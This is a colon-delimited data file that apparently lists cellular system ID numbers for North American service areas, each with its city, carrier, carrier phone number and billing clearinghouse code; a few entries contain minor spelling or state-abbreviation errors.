80:=:Ft. Wayne:IN:GTE Mobile:800 669 3001:GTEDS
80:=:Indianapolis:IN:GTE Mobile:800 669 3001:GTEDS
80:=:Kokomo:IN:GTE Mobile:800 669 3001:GTEDS
80:=:Lafayette:IN:GTE Mobile:800 669 3001:GTEDS
80:=:Muncie:IN:GTE Mobile:800 669 3001:GTEDS
80:=:Terre Haute:IN:GTE Mobile:800 669 3001:GTEDS
81:=:Mobile:AL:Gulf Coast Cellular:205 343 9700:Cell-T
83:=:Newport News:VA:Centel Cellular:804 473 9600:GTEDS
83:=:Norfolk:VA:Centel Cellular:804 473 9600:GTEDS
83:=:Virginia Beach:VA:Centel Cellular:804 473 9600:GTEDS
84:=:Aiken:GA:Cellular Phone of:404 738 2355:GTEDS
84:=:Augusta:GA:Cellular Phone of:404 738 2355:GTEDS
85:=:Baton Rouge:LA:Cellular One:504 291 9703:GTEDS
86:=:Syracuse:NY:Nynex Mobile Com::Nynex
88:=:SNET:CT:SNET Cellular:203 553 7594:GTEDS
88:30006:Springfield:MA:SNET Cellular:203 553 7594:GTEDS
89:=:Sharon:PA:Cellular One:412 866 5000:APPEX
89:=:Warren:OH:Cellular One:216 565 5000:APPEX
89:=:Youngstown:OH:Cellular One:216 565 5000:APPEX
91:=:Provo:UT:Cellular One:801 359 2273:APPEX
91:=:Salt Lake City:UT:Cellular One:801 359 2273:APPEX
92:=:El Paso:TX:Contel Cellular:800 792 8400:GTEDS
92:=:Las Cruces:NM:Contel Cellular:800 792 8400:GTEDS
93:=:Knoxville:TN:Cellular One:615 584 2355:APPEX
94:=:Salt Lake City:UT:US West Cellular:800 626 6611:GTEDS
95:=:Greensboro:NC:Cellular One:919 668 3600:GTEDS
96:=:Harrisburg:PA:Centel Cellular:717 545 3300:GTEDS
96:=:Lancaster:PA:Centel Cellular:717 545 3300:GTEDS
96:=:York:PA:Centel Cellular:717 545 3300:GTEDS
97:30097:El Paso:TX:Metro Mobile:915 532 5559:APPEX
97:30097:Las Cruces:NM:Metro Mobile:505 526 2233:APPEX
98:=:Anniston:AL:Bell South Mobile:800 351 2400:GTEDS
98:=:Birmingham:AL:Bell South Mobile:800 351 2400:GTEDS
98:=:Tuscaloosa:AL:Bell South Mobile:800 351 2400:GTEDS
100:=:Fayetteville:NC:Centel Cellular:919 833 7494:GTEDS
103:=:Allentown:PA:Cellular One:215 434 2355:GTEDS
103:30023:Reading:PA:Cellular One:215 434 2355:GTEDS
103:=:York:PA:Cellular One:717 579 2355:GTEDS
104:=:Knoxville:TN:US Cellular:615 584 9500:GTEDS
105:=:NE PA:PA:Cellular One:717 434 2355:GTEDS
106:=:Baton Rouge:LA:Bell South Mobile:800 351 2400:GTEDS
107:=:Austin:TX:Cellular One:512 388 6777:APPEX
110:=:Albuquerque:NM:US West Cellular:800 626 6611:GTEDS
111:=:Tulsa:OK:Cellular One:918 584 7722:APPEX
112:=:Sacramemto:CA:Pactel Cellular:916 520 0645:GTEDS
113:30043:Anniston:AL:Cellular One:205 942 2355:APPEX
113:=:Birmingham:AL:Cellular One:205 942 2355:APPEX
113:30025:Florence:AL:Cellular One:205 942 2355:APPEX
113:30029:Gadsden:AL:Cellular One:205 942 2355:APPEX
114:=:Charlotte:NC:Alltel Mobile:704 529 0001:GTEDS
116:=:Anderson:SC:Centel Cellular:803 297 8860:GTEDS
116:=:Greenville:SC:Centel Cellular:803 297 8860:GTEDS
116:=:Spartanburg:SC:Centel Cellular:803 297 8860:GTEDS
117:=:Rochester:NY:Genesse Telephone:716 232 6600:BANK/IL
118:=:Clarksville:TN:Bell South Mobile:800 351 2400:GTEDS
118:=:Nashville:TN:Bell South Mobile:800 351 2400:GTEDS
119:=:Bridgeport:CT:Metro Mobile:203 852 9292:APPEX
119:=:Danbury:CT:Metro Mobile:203 852 9292:APPEX
119:30119:Fairfield County:CT:Metro Mobile:203 852 9292:APPEX
119:=:Hartford:CT:Metro Mobile:203 688 3737:APPEX
119:=:New Bedford:MA:Metro Mobile:401 272 3800:APPEX
119:=:New Haven:CT:Metro Mobile:203 852 9292:APPEX
119:=:North Bedford:CT:Metro Mobile:203 852 9292:APPEX
119:=:Norwalk:CT:Metro Mobile:203 852 9292:APPEX
119:=:Norwich:CT:Metro Mobile:203 688 3737:APPEX
119:=:Pittsfield:MA:Metro Mobile:203 688 3737:APPEX
119:=:Providence:RI:Metro Mobile:401 272 3800:APPEX
119:31119:Springfield:MA:Metro Mobile:203 688 3737:APPEX
119:=:Waterbury:CT:Metro Mobile:203 852 9292:APPEX
120:=:Mobile:AL:Contel Cellular:800 792 8400:GTEDS
120:=:Pensacola:FL:Contel Cellular:800 792 8400:GTEDS
122:=:San Antonio:TX:Southwestern Bell Mobile:512 646 9955:GTEDS
123:=:Wilmington:DE:Cellular One:302 737 3333:APPEX
126:=:Sharon:PA:Centel Cellular:216 758 4502:GTEDS
126:=:Warren:OH:Centel Cellular:216 758 4502:GTEDS
126:=:Youngstown:OH:Centel Cellular:216 758 4502:GTEDS
127:=:Charleston:SC:Cellular One:803 763 6363:GTEDS
129:=:Sacramemto:CA:Cellular One:916 923 2400:APPEX
129:=:Yuba City:CA:Cellular One:916 923 2400:APPEX
130:=:Toledo:OH:Centel Cellular:419 893 1077:GTEDS
131:=:Abilene:TX:Cellular One::GTEDS
133:=:Columbus:OH:Cellular One:614 846 7317:Commonwealth
136:=:Jacksonville:FL:Bell South Mobile:305 577 4975:GTEDS
137:=:Omaha:NE:US West Cellular:800 626 6611:GTEDS
139:=:Anderson:SC:Metro Mobile:803 234 7954:APPEX
139:30139:Charlotte:NC:Metro Mobile:704 552 5185:APPEX
139:31139:Greenville:SC:Metro Mobile:803 234 7954:APPEX
140:=:Tuscon:AZ:US West Cellular:800 626 6611:GTEDS
142:=:Greensboro:NC:Centel Cellular:919 299 3333:GTEDS
142:=:Winston-Salem:NC:Centel Cellular:919 299 3333:GTEDS
143:=:Memphis:TN:Cellular One:901 683 2355:APPEX
144:=:Burlington:NC:Centel Cellular:919 833 7494:GTEDS
144:=:Durham:NC:Centel Cellular:919 833 7494:GTEDS
144:=:Raleigh:NC:Centel Cellular:919 833 7494:GTEDS
146:=:Oklahoma City:OK:Southwestern Bell Mobile:405 720 2212:GTEDS
148:=:Chattanooga:TN:Bell South Mobile:800 351 2400:GTEDS
149:=:Bristol:TX:Cellular One:615 349 4500:APPEX
149:=:Johnson City:TN:Cellular One:615 349 4500:APPEX
149:=:Kingsport:TN:Cellular One:615 349 4500:APPEX
150:=:Des Moines:IA:US West Cellular:800 626 6611:GTEDS
151:=:San Antonio:TX:Cellular One:512 349 2600:APPEX
152:=:Omaha:NE:Centel Cellular:402 330 6500:GTEDS
153:=:Fresno:CA:Cellular One:209 438 8888:APPEX
153:=:Visilia:CA:Cellular One:209 738 0999:APPEX
156:=:Charleston:SC:Centel Cellular:803 767 1340:GTEDS
159:=:Harrisburg:PA:Cellular One:717 579 2355:GTEDS
159:30011:Lancaster:PA:Cellular One:717 579 2355:GTEDS
159:30013:York:PA:Cellular One:717 579 2355:GTEDS
160:=:Jackson:MS:Alltel Mobile:601 354 1212:GTEDS
161:=:Chattanooga:TN:Cellular One:615 892 2355:APPEX
162:=:Fresno:CA:Contel Cellular:800 792 8400:GTEDS
162:=:Visilia:CA:Contel Cellular:800 792 8400:GTEDS
163:=:Dayton:OH:Cellular One:513 477 1999:GTEDS
163:=:Springfield:OH:Cellular One:513 434 2355:Commonwealth
164:=:Austin:TX:GTE Mobile:800 347 5665:GTEDS
165:=:Wichita:KS:Cellular One:316 686 8811:APPEX
166:=:Tulsa:OK:US Cellular:918 665 0101:GTEDS
167:=:Honolulu:HI:Honolulu Cellular:808 545 4755:APPEX
168:=:Newport News:VA:Contel Cellular:800 792 8400:GTEDS
168:=:Norfolk:VA:Contel Cellular:800 792 8400:GTEDS
169:=:Oklahoma City:OK:Cellular One:405 843 9113:APPEX
170:=:Petersburg:VA:Contel Cellular:800 792 8400:GTEDS
170:=:Richmond:VA:Contel Cellular:800 792 8400:GTEDS
171:=:Gulf of Mexico:XX:Petrocomm:800 257 3876:GTEDS
173:=:Long Branch:NJ:Cellular One:800 227 9222:APPEX
173:=:New Brunswick:NJ:Cellular One:800 227 9222:APPEX
175:=:Brandenton:FL:Cellular One:813 221 1662:APPEX
175:=:Lakeland:FL:Cellular One:813 221 1662:APPEX
175:=:Melbourne:FL:Cellular One:407 258 7100:APPEX
175:=:Orlando:FL:Cellular One:407 425 2355:APPEX
175:=:Sarasota:FL:Cellular One:813 221 1662:APPEX
175:=:Tampa:FL:Cellular One:813 221 1662:APPEX
179:=:Clarksville:TN:Cellular One:615 645 2200:APPEX
179:=:Mt. Juliet:TN:Cellular One:615 269 2273:APPEX
179:=:Nashville:TN:Cellular One:615 269 2273:APPEX
180:=:Colorado Springs:CO:US West Cellular:800 626 6611:GTEDS
181:=:Augusta:GA:Cellular One:404 868 0086:GTEDS
182:=:Columbia:SC:Bell South Mobile:800 351 2400:GTEDS
183:=:Bakersfield:CA:Bakersfield Cellular:805 327 8700:Cell-T
184:=:Corpus Christi:TX:Southwestern Bell Mobile:512 854 5678:GTEDS
185:=:Beaumont:TX:Cellular One:409 898 8000:Cell-T
186:=:Davenport:IA:Contel Cellular:800 792 8400:GTEDS
186:=:Bettendorf:IA:Contel Cellular:800 792 8400:GTEDS
186:=:Rock Island:IL:Contel Cellular:800 792 8400:GTEDS
186:=:Moline:IL:Contel Cellular:800 792 8400:GTEDS
188:=:Lansing:MI:Century Cellunet:517 393 0311:GTEDS
189:=:Columbia:SC:Metro Mobile:803 731 8300:APPEX
190:=:Evansville:IN:Contel Cellular:800 792 8400:GTEDS
190:=:Henderson:KY:Contel Cellular:800 792 8400:GTEDS
190:=:Owensboro:KY:Contel Cellular:800 792 8400:GTEDS
191:=:Corpus Christi:TX:Cellular One:512 937 8243:APPEX
193:=:Davenport:IA:Cellular One:319 388 8000:GTEDS
193:=:Bettendorf:IA:Cellular One:319 388 8000:GTEDS
193:=:Rock Island:IL:Cellular One:319 388 8000:GTEDS
193:=:Moline:IL:Cellular One:319 388 8000:GTEDS
194:=:Gulf of Mexico:XX:Coastel Cellular:800 822 8400:GTEDS
195:=:Des Moines:IA:Cellular One:515 223 6611:GTEDS
197:=:Evansville:IN:Cellular One:812 464 5111:GTEDS
198:=:Huntsville:AL:Bell South Mobile:800 351 2400:GTEDS
199:=:Ft. Wayne:IN:Cellular One:219 484 2500:CBIS
203:=:Huntsville:AL:Cellular One:205 830 6633:APPEX
204:=:Albany:GA:Alltel Mobile:912 888 8200:GTEDS
206:=:Georgetown:KY:Bell South Mobile:800 351 2400:GTEDS
206:=:Lexington:KY:Bell South Mobile:800 351 2400:GTEDS
208:=:Little Rock:AR:Alltel Mobile:501 666 6688:GTEDS
211:=:Las Vegas:NV:Cellular One:702 732 2240:APPEX
212:=:Alexandria:LA:US Cellular:318 445 2065:GTEDS
213:=:Lexington:KY:Cellular One:606 223 3700:APPEX
214:=:Peoria:IL:Centel Cellular:309 693 3800:GTEDS
215:=:Little Rock:AR:Cellular One:501 225 2355:APPEX
215:=:Pine Bluff:AR:Cellular One:501 221 1771:APPEX
216:=:Saginaw:MI:Century Cellunet:517 792 1556:GTEDS
217:30039:Appleton:WI:Cellular One:414 738 0110:APPEX
217:30041:Beloit:WI:Cellular One:608 751 2273:APPEX
217:30031:Green Bay:WI:Cellular One:414 496 2273:APPEX
217:30041:Janesville:WI:Cellular One:608 751 2273:APPEX
217:30035:Kenosha:WI:Cellular One:414 652 2022:APPEX
217:=:Madison:WI:Cellular One:608 271 2273:APPEX
217:=:Oshkosh:WI:Cellular One:414 738 0110:APPEX
217:30037:Racine:WI:Cellular One:414 939 2273:APPEX
217:30033:Rockford:IL:Cellular One:815 494 2273:APPEX
220:=:Shreveport:LA:Century Cellunet:318 687 8502:GTEDS
221:=:Peoria:IL:US Cellular:309 685 1234:GTEDS
222:=:Spokane:WA:US West Cellular:800 626 6611:GTEDS
224:=:Modesto:CA:Pactel Cellular:916 520 0645:GTEDS
224:=:Stockton:CA:Pactel Cellular:916 520 0645:GTEDS
226:=:Rome:NY:Avantage Cellular:315 797 2041:GTEDS
226:=:Utica:NY:Avantage Cellular:315 797 2041:GTEDS
228:=:Bakersfield:CA:Contel Cellular:800 792 8400:GTEDS
229:=:Longview:TX:Cellular One:318 636 9888:APPEX
229:=:Marshall:TX:Cellular One:318 636 9888:APPEX
229:=:Shreveport:LA:Cellular One:318 636 9888:APPEX
229:=:Texarkana:TX:Cellular One:318 636 9888:APPEX
231:=:Spokane:WA:Cellular One:509 838 2273:APPEX
233:=:Modesto:CA:Cellular One:209 572 1004:APPEX
233:=:Stockton:CA:Cellular One:209 476 1500:APPEX
235:=:Rome:NY:Cellular One:315 768 4400:Cell-T
235:=:Utica:NY:Cellular One:315 768 4400:Cell-T
240:=:Appleton:WI:Cellulink:414 735 9707:GTEDS
240:=:Oshkosh:WI:Cellulink:414 735 9797:GTEDS
241:=:Albany:GA:Cellular One:912 888 8228:APPEX
244:=:Grand Rapids:MI:Century Cellunet:616 940 0985:GTEDS
246:=:Asheville:NC:US Cellular:704 258 0000:GTEDS
247:=:Altoona:PA:Cellular One:814 946 4535:GTEDS
249:=:Amarillo:TX:Cellular One:806 374 1900:Cell-T
250:=:Atlantic City:NJ:Bell Atlantic Mobile:800 922 0204:GTEDS
250:=:Vineland:NJ:Bell Atlantic Mobile:800 922 0204:GTEDS
251:=:Anchorage:AK:Cellular One:907 561 1122:APPEX
255:=:Anniston:AL:Cellular One:205 942 2355:Cell-T
256:=:Battle Creek:MI:Century Cellunet:616 342 6655:GTEDS
258:=:Bellingham:WA:US West Cellular:800 626 6611:GTEDS
260:=:Benton Harbor:MI:Century Cellunet:616 342 6655:GTEDS
264:=:Gulfport:MS:Cellular South::GTEDS
266:=:Binghamton:NY:Contel Cellular:800 792 8400:GTEDS
266:=:Elmira:NY:Contel Cellular:800 792 8400:GTEDS
267:=:Atlantic City:NJ:Cellular One::APPEX
268:=:Bismark:ND:US West Cellular:800 626 6611:GTEDS
269:=:Asheville:NC:Cellular One::Cell-T
271:=:Bangor:ME:US Cellular:207 942 0700:GTEDS
272:=:Boise:ID:US West Cellular:800 626 6611:GTEDS
276:=:Bremerton:WA:Cellular One:800 626 6611:GTEDS
277:=:Benton Harbor:MI:Cellular One:616 982 9900:Cincin
278:=:Brownsville:TX:Southwestern Bell Mobile:512 541 6200:GTEDS
278:=:Harlingen:TX:Southwestern Bell Mobile:512 428 6200:GTEDS
278:=:McAllen:TX:Southwestern Bell Mobile:512 380 6200:GTEDS
279:=:Billings:MT:Cellular One:406 652 0466:GTEDS
281:=:Biloxi:MS:Cellular One::GTEDS
283:30007:Binghamton:NY:Cellular One:607 771 8000:APPEX
283:30009:Elmira:NY:Cellular One:607 737 1000:APPEX
284:=:Casper:WY:US West Cellular:800 626 6611:GTEDS
285:=:Bismark:ND:Cellular One:701 224 1616:GTEDS
286:=:Cedar Rapids:IA:Centel Cellular:319 366 5700:GTEDS
286:=:Iowa City:IA:Centel Cellular:319 366 5700:GTEDS
287:=:Bloomington:IN:Cellular One:502 528 2355:APPEX
289:=:Boise:ID:Cellular One:208 345 2355:GTEDS
292:=:Charlottesville:VA:Centel Cellular:804 973 9100:GTEDS
294:=:Chico:CA:Pactel Cellular:916 920 0645:GTEDS
294:=:Redding:CA:Pactel Cellular:916 920 0645:GTEDS
297:=:Bryan:TX:Cellular One:409 696 2264:APPEX
297:=:College Station:TX:Cellular One:512 338 6777:GTEDS
298:=:Columbia:MO:US Cellular:314 474 0400:GTEDS
299:=:Burlington:NC:Gencell:800 888 7868:GTEDS
300:=:Burlington:VT:Contel Cellular:800 792 8400:GTEDS
301:=:Casper:WY:Cellular One:307 235 0110:GTEDS
302:=:Columbus:GA:Public Service Cellular:912 841 4117:GTEDS
303:=:Cedar Rapids:IA:US Cellular:319 365 1000:GTEDS
304:=:Cumberland:MD:Gencell:800 888 7868:GTEDS
306:=:Danville:VA:Centel Cellular:804 791 3100:GTEDS
307:=:Charleston:WV:Cellular One:304 345 2355:GTEDS
307:30047:Huntington:WV:Cellular One:304 345 2355:GTEDS
308:=:Daytona Beach:FL:Bell South Mobile:305 577 4975:GTEDS
308:=:New Smyrna:FL:Bell South Mobile:800 351 2400:GTEDS
312:=:Dothan:AL:Graceba Cellular:205 793 9148:GTEDS
314:=:Dubuque:IA:Centel Cellular:319 580 0010:GTEDS
316:=:Duluth:MN:US West Cellular:800 626 6611:GTEDS
318:=:Eau Claire:WI:Cellulink:715 835 7370:GTEDS
319:=:Columbus:GA:Cellular One:404 596 9041:APPEX
321:=:Cumberland:MD:Cellular One:814 946 4535:GTEDS
323:=:Danville:VA:Cellular One:804 791 3453:GTEDS
324:=:Enid:OK:Enid Cellular:405 375 4111:GTEDS
325:=:Daytona Beach:FL:Cellular One:904 257 2355:APPEX
328:=:Eugene:OR:US West Cellular:800 626 6611:GTEDS
329:=:Dothan:AL:Cellular One:205 671 4111:Cell-T
330:=:Fargo:ND:US West Cellular:800 626 6611:GTEDS
331:=:Dubuque:IA:US Cellular::GTEDS
333:=:Duluth:MN:Cellular One:218 727 4700:GTEDS
334:=:Muscle Shoals:LA:Shoals Cellular:205 383 5111:GTEDS
336:=:Ft. Collins:CO:US West Cellular:800 626 6611:GTEDS
336:=:Loveland:CO:US West Cellular:800 626 6611:GTEDS
340:=:Ft. Pierce:FL:US Cellular:305 287 7888:GTEDS
342:=:Fayetteville:AR:Contel Cellular:800 792 8400:GTEDS
342:=:Ft. Smith:AR:Contel Cellular:800 792 8400:GTEDS
342:=:Rogers:AR:Contel Cellular:800 792 8400:GTEDS
343:=:Erie:PA:Cellular One:814 881 0100:APPEX
344:=:Ft. Walton Beach:FL:Centel Cellular:904 664 2000:GTEDS
348:=:Gainesville:FL:Alltel Cellular:904 374 8500:GTEDS
348:=:Ocala:FL:Alltel Mobile:904 237 1100:GTEDS
349:=:Fayetteville:NC:Cellular One:919 483 1181:GTEDS
350:=:Florence:SC:Bell South Mobile:800 351 2400:GTEDS
355:=:Ft. Meyers:FL:Cellular One:813 936 4534:APPEX
356:=:Grand Forks:ND:US West Cellular:800 626 6611:GTEDS
357:=:Ft. Pierce:FL:Cellular One:407 833 1111:APPEX
358:=:Great Falls:MT:US West Cellular:800 626 6611:GTEDS
359:=:Ft. Smith:AR:Cellular One:501 783 4600:GTEDS
360:=:Greely:CO:US West Cellular:800 626 6611:GTEDS
361:=:Ft. Walton Beach:FL:Cellular One:904 433 7300:GTEDS
361:30021:Pensacola:FL:Cellular One:904 433 7300:GTEDS
362:=:Green Bay:WI:Cellcom:414 494 2355:GTEDS
364:=:Hagerstown:MD:Bell Atlantic Mobile:800 922 0204:GTEDS
365:=:Gainesville:FL:Centel Cellular:904 374 8100:GTEDS
368:=:Hickory:NC:Centel Cellular:704 327 4000:GTEDS
370:=:Houma:LA:Mobiletel:504 798 7894:GTEDS
370:=:Thibodaux:LA:Mobiletel:504 798 7894:GTEDS
370:=:Larose:LA:Mobiletel:504 798 7894:GTEDS
370:=:Leeville:LA:Mobiletel:504 798 7894:GTEDS
373:=:Great Falls:MT:Cellular One:406 727 2355:GTEDS
374:=:Jackson:MI:Century Cellunet:517 393 0311:GTEDS
376:=:Jacksonville:NC:Centel Cellular:919 833 7494:GTEDS
377:=:Florence:SC:Cellular One:803 664 2898:GTEDS
381:=:Hagerstown:MD:Cellular One:301 331 2355:GTEDS
384:=:Joplin:MO:US Cellular:417 624 2255:GTEDS
385:=:Hickory:NC:Cellcom:704 322 7557:APPEX
386:=:Kalamazoo:MI:Century Cellunet:616 342 6655:GTEDS
387:=:Houma:LA:Cellular One:504 686 0220:GTEDS
387:=:Thibodaux:LA:Cellular One:504 686 0220:GTEDS
389:=:Iowa City:IA:Allcell Cellular:319 351 5888:CBIS
392:=:Killeen:TX:Centel Cellular:817 771 0077:GTEDS
392:=:Temple:TX:Centel Cellular:817 771 0077:GTEDS
393:=:Jacksonville:NC:Cellular One:919 455 9300:C-Tech
396:=:La Crosse:WI:Century Cellunet:608 788 8000:GTEDS
400:=:Lake Charles:LA:Mercury Cellular:318 433 6298:Lake Charles
401:=:Joplin:MO:Cellular One:417 862 6611:APPEX
402:=:Laredo:TX:Laredo Cellular:512 722 2333:GTEDS
403:=:Kalamazoo:MI:Cellular One:616 388 8066:CBIS
408:=:Lawton:OK:US Cellular:405 355 3535:GTEDS
409:=:Killeen:TX:Cellular One:817 526 6800:APPEX
409:=:Temple:TX:Cellular One:817 526 6800:APPEX
412:=:Lima:OH:Centel Cellular:419 893 1077:GTEDS
413:=:La Crosse:WI:US Cellular:608 781 2600:GTEDS
414:=:Lafayette:LA:Bell South Mobile:305 577 4975:GTEDS
415:=:Lafayette:IN:McCaw Cellular:502 582 2273:GTEDS
416:=:Lincoln:NE:Lincoln Telephone Cellular:402 486 7266:GTEDS
417:=:Lake Charles:LA:Celltelco:318 279 6532:GTEDS
418:=:Longview:TX:Centel Cellular:214 561 5575:GTEDS
418:=:Marshall:TX:Centel Cellular:214 561 5575:GTEDS
418:=:Tyler:TX:Centel Cellular:214 561 5575:GTEDS
422:=:Abilene:TX:Southwestern Bell Mobile:915 698 7626:GTEDS
422:=:Amarillo:TX:Southwestern Bell Mobile:806 353 7447:GTEDS
422:=:Lubbock:TX:Southwestern Bell Mobile:806 791 0011:GTEDS
422:=:Midland:TX:Southwestern Bell Mobile:915 563 4611:GTEDS
422:=:Odessa:TX:Southwestern Bell Mobile:915 563 4611:GTEDS
424:=:Lynchburg:VA:Centel Cellular:804 528 3500:GTEDS
426:=:Macon:GA:Bell South Mobile:800 351 2400:GTEDS
427:=:Auburn:ME:US Cellular:207 782 8010:GTEDS
427:=:Lewiston:ME:US Cellular:207 782 8010:GTEDS
428:=:Manchester:NH:Contel Cellular:800 792 8400:GTEDS
428:=:Nashua:NH:Contel Cellular:800 792 8400:GTEDS
430:=:Mansfield:OH:Centel Cellular:419 893 1077:GTEDS
431:=:Lafayette:LA:Cellular One:318 984 1777:APPEX
436:=:Medford:OR:US Cellular::GTEDS
439:=:Lubbock:TX:Cellular One:806 797 2355:GTEDS
440:=:Monroe:LA:Century Cellunet:318 325 3600:GTEDS
443:=:Macon:GA:Cellular One:912 742 2355:GTEDS
443:=:Warner Robins:GA:Cellular One::GTEDS
444:=:Montgomery:AL:Alltel Mobile:800 255 8351:GTEDS
445:=:Manchester:NH:US Cellular:603 624 8000:GTEDS
447:=:Mansfield:OH:Cellular One:419 564 5000:Commonwealth
448:=:Muskegon:WI:Century Cellunet:616 940 0985:GTEDS
451:=:Jackson:MS:Cellular One:512 686 2355:Cell-T
451:=:McAllen:TX:Cellular One:512 686 2355:Cell-T
456:=:Olympia:WA:US West Cellular:800 626 6611:GTEDS
462:=:Palm Springs:FL:Centel Cellular:904 785 7000:GTEDS
462:=:Panama City:FL:Centel Cellular:904 785 7000:GTEDS
465:=:Montgomery:AL:Montgomery Cellular:205 265 2355:GTEDS
467:=:Muncie:IN:Cellular One:502 582 2355:APPEX
473:=:Ocala:FL:Cellular One:407 425 2355:GTEDS
475:=:Odessa:TX:Cellular One:806 797 2355:GTEDS
476:=:Melbourne:FL:Bell South Mobile:800 351 2400:GTEDS
478:30018:Pine Bluff:AK:Pine Bluff Cellular:501 536 4200:GTEDS
479:=:Orange County:NY:Cellular One:914 564 4447:GTEDS
480:=:Pittsfield:NY:Nynex Mobile Com::Nynex
481:=:Owensboro:KY:US Cellular:502 685 5111:GTEDS
483:=:Palm Springs:FL:Palmer Comm:904 769 2269:GTEDS
484:=:Biddeford:ME:Star Cellular:800 346 9172:GTEDS
484:=:Dover:NH:Star Cellular:800 346 9172:GTEDS
484:=:Portsmouth:NH:Star Cellular:800 346 9172:GTEDS
484:=:Saco:ME:Star Cellular:800 346 9172:GTEDS
486:=:Orange County:NY:Nynex Mobile Com::Nynex
486:=:Poughkeepsie:NY:Nynex Mobile Com::Nynex
488:=:Provo:UT:US West Cellular:800 626 6611:GTEDS
494:=:Rapid City:SD:Contel Cellular:800 792 8400:GTEDS
498:=:Reno:NV:Pactel Cellular:916 920 0645:GTEDS
499:=:Portland:ME:Cellular One:207 772 9805:GTEDS
500:=:Richland:WA:US Cellular::GTEDS
501:=:Portsmouth:NH:Cellular One:617 890 1555:(Boston)
502:=:Roanke:VA:Contel Cellular:800 792 8400:GTEDS
503:=:Poughkeepsie:NY:US Cellular:914 297 3444:GTEDS
504:=:Rochester:MN:US Cellular:507 388 3000:GTEDS
506:=:Rockford:IL:Contel Cellular:800 792 8400:GTEDS
510:=:San Angelo:TX:West Central Cellular:915 944 9016:GTEDS
511:=:Rapid City:SD:Cellular One::GTEDS
513:=:Redding:CA:Cellular One:916 923 2222:APPEX
515:=:Reno:NV:Cellular One:702 322 5511:APPEX
519:=:Roanke:VA:Cellular One:703 345 0808:Cell-T
520:=:Savannah:GA:Savannah Cellular:912 356 5224:GTEDS
521:=:Rochester:MN:Cellular One:507 254 2273:APPEX
527:=:Monterey:CA:Cellular One:408 754 8888:APPEX
527:=:Salinas:CA:Cellular One:408 647 8888:APPEX
530:=:Elkhart:IN:Centel Cellular:219 288 2355:GTEDS
530:=:South Bend:IN:Centel Cellular:219 288 2355:GTEDS
531:=:Santa Barbara:CA:Santa Barbara Cellular:800 722 7464:Cell-T
534:=:St. Cloud:MN:US Cellular:612 252 9000:GTEDS
539:=:Savannah:GA:Cellular One:912 352 3456:GTEDS
540:=:Sioux Falls:SD:US West Cellular:800 626 6611:GTEDS
544:=:Talahassee:FL:Centel Cellular:904 668 2200:GTEDS
545:=:Denison:TX:Metrocell Cellular:214 263 4921:APPEX
545:=:Sherman:TX:Metrocell Cellular:214 263 4921:APPEX
546:=:Springfield:MO:Alltel Mobile:417 882 2020:GTEDS
547:=:Sioux City:IA:Centel Cellular:712 274 2494:
549:=:South Bend:IN:Cellular One:219 289 0933:Micro-T
550:=:Texarkana:TX:Century Cellunet:214 793 0500:GTEDS
551:30045:Bloomington:IL:Cellular One:217 744 3000:APPEX
551:30005:Champaign:IL:Cellular One:217 744 3000:APPEX
551:30003:Decatur:IL:Cellular One:217 744 3000:APPEX
551:30001:Springfield:IL:Cellular One:217 744 3000:APPEX
551:30005:Urbana:IL:Cellular One:217 744 3000:APPEX
555:=:Sioux Falls:SD:Cellular One:605 336 0520:Cell-T
557:=:St. Joseph:MO:Cellular One:816 232 6158:APPEX
561:30019:State College:PA:Cellular One:717 579 2355:GTEDS
562:=:Victoria:TX:GTE Mobile:800 347 5665:GTEDS
565:=:Talahassee:FL:Cellular One:904 386 8999:APPEX
566:=:Waco:TX:Centel Cellular:817 771 0077:GTEDS
567:=:Terre Haute:IN:Cellular One:502 582 2355:APPEX
568:=:Waterloo:IA:Centel Cellular:319 236 0400:GTEDS
570:=:Wausau:WI:US Cellular:715 842 4200:GTEDS
574:=:Wichita Falls:TX:US Cellular:817 696 5500:GTEDS
575:=:Trenton:NJ:Cellular One:800 227 9222:APPEX
576:=:Williamsport:PA:US Cellular:707 321 9500:GTEDS
577:30027:Tuscaloosa:AL:Cellular One:205 942 2355:APPEX
578:=:Wilmington:NC:Centel Cellular:919 833 7494:GTEDS
579:=:Tyler:TX:Cellular One:214 561 2355:GTEDS
580:=:Yakima:WA:US Cellular:509 248 3000:GTEDS
581:=:Victoria:TX:Cellular One:512 573 1100:Cell-T
583:=:Vineland:NJ:Cellular One:609 272 0900:GTEDS
587:=:Waco:TX:Cellular One:817 776 3933:APPEX
589:=:Waterloo:IA:Cellular One:319 234 4000:GTEDS
591:=:Wausau:WI:Cellular One:715 842 7900:GTEDS
595:=:Wichita Falls:TX:Cellular One:817 691 9100:Cell-T
599:=:Wilmington:NC:Cellular One:919 799 5000:GTEDS
601:=:Yakima:WA:Cellular One:509 454 2663:APPEX
607:=:Fayetteville:AR:Cellular One:501 783 4600:Cell-T
1161:=:Hawaii:HI:US Cellular::GTEDS
1177:=:Lasalle:IL:Cellular One:815 224 4470:GTEDS
1216:=:Batavia:IA:US Cellular:515 662 7000:GTEDS
1704:=:Gainesville:TX:Southwestern Bell Mobile:214 988 8484:GTEDS
1774:=:North Sound:WA:US West:800 238 7848:GTEDS
1784:=:Longview:WA:US Cellular::GTEDS
16384:=:Calgary:AB:AGT Cellular:403 248 2355:GTEDS
16384:=:Lethbridge:AB:AGT Cellular:403 248 2355:GTEDS
16384:=:Medicine Hat:AB:AGT Cellular:403 248 2355:GTEDS
16387:=:Calgary:AB:Cantel, Inc.:403 266 1300:GTEDS
16389:=:Chicoutimi:QU:Cantel, Inc.:514 340 9220:GTEDS
16390:=:Amherst:NS:MT&T Cellular:902 421 2355:GTEDS
16390:=:Bridgewater:NS:MT&T Cellular:902 421 2355:GTEDS
16390:=:Chester:NS:MT&T Cellular:902 421 2355:GTEDS
16390:=:Halifax:NS:MT&T Cellular:902 421 2355:GTEDS
16390:=:Hantsport:NS:MT&T Cellular:902 421 2355:GTEDS
16390:=:Kentville:NS:MT&T Cellular:902 421 2355:GTEDS
16390:=:Moncton:NB:MT&T Cellular:902 421 2355:GTEDS
16390:=:Sydney:NS:MT&T Cellular:902 421 2355:GTEDS
16390:=:Truro:NS:MT&T Cellular:902 421 2355:GTEDS
16390:=:Windsor:NS:MT&T Cellular:902 421 2355:GTEDS
16391:=:Edmonton:AB:Cantel, Inc.:416 440 1300:GTEDS
16393:=:Halifax:NS:Cantel, Inc.:416 440 1300:GTEDS
16395:=:Hamilton:ON:Cantel, Inc.:416 440 1300:GTEDS
16397:=:Hespler:ON:Cantel, Inc.:416 440 1300:GTEDS
16397:=:Kitchener:ON:Cantel, Inc.:416 440 1300:GTEDS
16399:=:London:ON:Cantel, Inc.:416 440 1300:GTEDS
